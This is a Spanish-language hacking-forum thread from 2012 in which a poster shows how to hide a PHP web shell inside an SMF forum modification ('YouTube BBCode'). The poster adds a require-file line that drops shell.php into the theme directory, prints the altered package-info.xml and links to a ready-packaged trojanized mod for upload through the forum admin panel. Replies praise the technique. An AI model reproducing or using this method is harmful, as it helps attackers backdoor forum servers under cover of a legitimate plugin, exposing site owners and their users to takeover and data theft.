Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Rootscale en Junio 27, 2012, 05:06:14 PM

Título: Subir Shell desde la Administración de un foro SMF
Publicado por: Rootscale en Junio 27, 2012, 05:06:14 PM
Hola amigos de underc0de , realizando mi primer post les traigo un mod cualquiera en este caso mod youtube , implementado con una shell , esta shell se infiltrará dentro de la modificacion de la siguiente manera.

Archivo por defecto de un mod smf :
package-info.xml
<?xml version="1.0"?>
<!DOCTYPE package-info SYSTEM "http://www.simplemachines.org/xml/package-info">
<package-info xmlns="http://www.simplemachines.org/xml/package-info" xmlns:smf="http://www.simplemachines.org/">
<name>YouTube BBCode</name>
<id>karlbenson:youtubebbcode</id>
<type>modification</type>
<version>2.6</version>

<!--// Install for SMF 1.1.x versions only //-->
<install for="1.1 - 1.1.99">
<readme type="file" parsebbc="true">readme.txt</readme>
<modification>install-1.1.x.xml</modification>
<modification>languagestrings.xml</modification>
<require-file name="youtube.gif" destination="$imagesdir/bbc" />
</install>

<!--// Uninstall for SMF 1.1.x versions only //-->
<uninstall for="1.1 - 1.1.99">
<modification reverse="true">install-1.1.x.xml</modification>
<modification reverse="true">languagestrings.xml</modification>
<remove-file name="$imagesdir/bbc/youtube.gif" />
</uninstall>

<!--// Install for SMF 2.0 Beta 2/3/4 and above //-->
<install for="2.0 - 2.99.99">
<readme type="file" parsebbc="true">readme.txt</readme>
<modification>install-2.0.xml</modification>
<modification>languagestrings.xml</modification>
<require-file name="youtube.gif" destination="$imagesdir/bbc" />

</install>

<!--// Uninstall for SMF 2.0 Beta 2/3/4 and above //-->
<uninstall for="2.0 - 2.99.99">
<modification reverse="true">install-2.0.xml</modification>
<modification reverse="true">languagestrings.xml</modification>
<remove-file name="$imagesdir/bbc/youtube.gif" />
</uninstall>
</package-info>



Para implementar la shell dentro de cualquier mod , tenemos que agregar la siguiente linea de código:
<require-file name="shell.php" destination="$themedir" />
Con esto decimos que requerimos que dentro de la carpeta del mod un archivo llamado shell.php , y que se alojara en /Themes/Default , por eso decimos destination="$themedir" .

agregando la linea de codigo quedaria asi:
<?xml version="1.0"?>
<!DOCTYPE package-info SYSTEM "http://www.simplemachines.org/xml/package-info">
<package-info xmlns="http://www.simplemachines.org/xml/package-info" xmlns:smf="http://www.simplemachines.org/">
<name>YouTube BBCode</name>
<id>karlbenson:youtubebbcode</id>
<type>modification</type>
<version>2.6</version>

<!--// Install for SMF 1.1.x versions only //-->
<install for="1.1 - 1.1.99">
<readme type="file" parsebbc="true">readme.txt</readme>
<modification>install-1.1.x.xml</modification>
<modification>languagestrings.xml</modification>
<require-file name="youtube.gif" destination="$imagesdir/bbc" />
<require-file name="shell.php" destination="$themedir" />
</install>

<!--// Uninstall for SMF 1.1.x versions only //-->
<uninstall for="1.1 - 1.1.99">
<modification reverse="true">install-1.1.x.xml</modification>
<modification reverse="true">languagestrings.xml</modification>
<remove-file name="$imagesdir/bbc/youtube.gif" />
</uninstall>

<!--// Install for SMF 2.0 Beta 2/3/4 and above //-->
<install for="2.0 - 2.99.99">
<readme type="file" parsebbc="true">readme.txt</readme>
<modification>install-2.0.xml</modification>
<modification>languagestrings.xml</modification>
<require-file name="youtube.gif" destination="$imagesdir/bbc" />
<require-file name="shell.php" destination="$themedir" />
</install>

<!--// Uninstall for SMF 2.0 Beta 2/3/4 and above //-->
<uninstall for="2.0 - 2.99.99">
<modification reverse="true">install-2.0.xml</modification>
<modification reverse="true">languagestrings.xml</modification>
<remove-file name="$imagesdir/bbc/youtube.gif" />
</uninstall>
</package-info>


Nos queda copiar la shell.php en la carpeta de la modificacion smf.
Una vez copiada , comprimimos el mod en .zip.
Y tendriamos lista la shell para subirla por la administracion del foro smf !

(http://img79.xooimage.com/files/f/4/4/shell2-343f1c3.png)

(http://img85.xooimage.com/files/8/b/7/shell-35ddd11.png)

Aqui les dejo un video por si no entendieron.



Link de descarga del mod listo y empaquetado :
http://9b4b807e.linkbucks.com
Título: Re:Subir Shell desde la Administración de un foro SMF
Publicado por: Dedalo en Junio 27, 2012, 08:18:08 PM
Excelente post :) Muy interesante método.


http://underc0de.org/foro/bugs-y-exploits/shell-upload-en-conocidos-cms/



Saludos,
Dedalo
Título: Re:Subir Shell desde la Administración de un foro SMF
Publicado por: Muppet en Junio 28, 2012, 12:00:20 AM
Buena tecnica!!! gracias por aportarla!